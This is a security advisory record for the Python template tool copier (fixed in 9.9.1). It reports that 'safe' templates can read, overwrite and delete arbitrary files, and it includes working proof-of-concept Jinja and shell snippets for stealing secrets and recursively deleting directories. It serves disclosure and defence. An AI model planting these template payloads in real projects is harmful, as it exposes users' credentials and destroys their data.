{"id":"PYSEC-2026-1271","summary":"Copier's safe template has arbitrary filesystem read/write access","details":"### Impact\n\nCopier's current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    echo \"stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}\" \u003e src/stolen-secret.txt.jinja\n    uvx copier copy src/ dst/\n    cat dst/stolen-secret.txt\n    ```\n\n- Read unknown file(s) via globbing:\n\n    ```shell\n    mkdir secrets/\n    echo \"s3cr3t #1\" \u003e secrets/secret1.txt\n    echo \"s3cr3t #2\" \u003e secrets/secret2.txt\n    mkdir src/\n    cat \u003c\u003c'EOF' \u003e src/stolen-secrets.txt.jinja\n    stolen secrets:\n    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}\n    {% for f in parent.glob('*.txt') %}\n    {{ f }}: {{ f.read_text('utf-8') }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat dst/stolen-secrets.txt\n    ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    echo \"{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}\" \u003e src/malicious.txt.jinja\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Overwrite unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    cat \u003c\u003c'EOF' \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..').resolve() %}\n    {% for f in (parent.glob('*.txt') | list) %}\n    {{ f.write_text('OVERWRITTEN', 'utf-8') }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    cat \u003c\u003c'EOF' \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..').resolve() %}\n    {% for f in (parent.glob('*.txt') | list) %}\n    {{ f.unlink() }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown files and directories via tree walking:\n\n    ```shell\n    mkdir data\n    mkdir data/a\n    mkdir data/a/b\n    echo \"foo\" \u003e data/foo.txt\n    echo \"bar\" \u003e data/a/bar.txt\n    echo \"baz\" \u003e data/a/b/baz.txt\n    tree data/\n    mkdir src/\n    cat \u003c\u003c'EOF' \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}\n    {% for root, dirs, files in parent.walk(top_down=False) %}\n    {% for name in files %}\n    {{ (root / name).unlink() }}\n    {% endfor %}\n    {% for name in dirs %}\n    {{ (root / name).rmdir() }}\n    {% endfor %}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    tree data/\n    ```","aliases":["CVE-2025-55201","GHSA-3xw7-v6cj-5q8h"],"modified":"2026-07-07T17:47:12.903110875Z","published":"2026-07-07T16:03:01.417882Z","references":[{"type":"WEB","url":"https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55201"},{"type":"WEB","url":"https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"},{"type":"PACKAGE","url":"https://github.com/copier-org/copier"},{"type":"PACKAGE","url":"https://pypi.org/project/copier"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3xw7-v6cj-5q8h"}],"affected":[{"package":{"name":"copier","ecosystem":"PyPI","purl":"pkg:pypi/copier"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.9.1"}]}],"versions":["2.0.0","2.0.1","2.1.0","2.2.1","2.2.2","2.2.3","2.3","2.3.1","2.3.2","2.3.3","2.4.0","2.4.1","2.4.2","2.5.0","2.5.1","3.0.0a3","3.0.0a5","3.0.0a6","3.0.0a7","3.0.0a8","3.0.0b1","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.2.0","4.0.0","4.0.1","4.0.2","4.1.0","5.0.0","5.1.0","6.0.0","6.0.0a0","6.0.0a2","6.0.0a3","6.0.0a4","6.0.0a5","6.0.0a6","6.0.0a7","6.0.0a9","6.0.0b0","6.1.0","6.2.0","7.0.1","7.1.0","7.1.0a0","7.2.0","8.0.0","8.1.0","8.2.0","8.3.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.3.1","9.4.0","9.4.1","9.5.0","9.6.0","9.7.0","9.7.1","9.8.0","9.9.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/copier/PYSEC-2026-1271.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}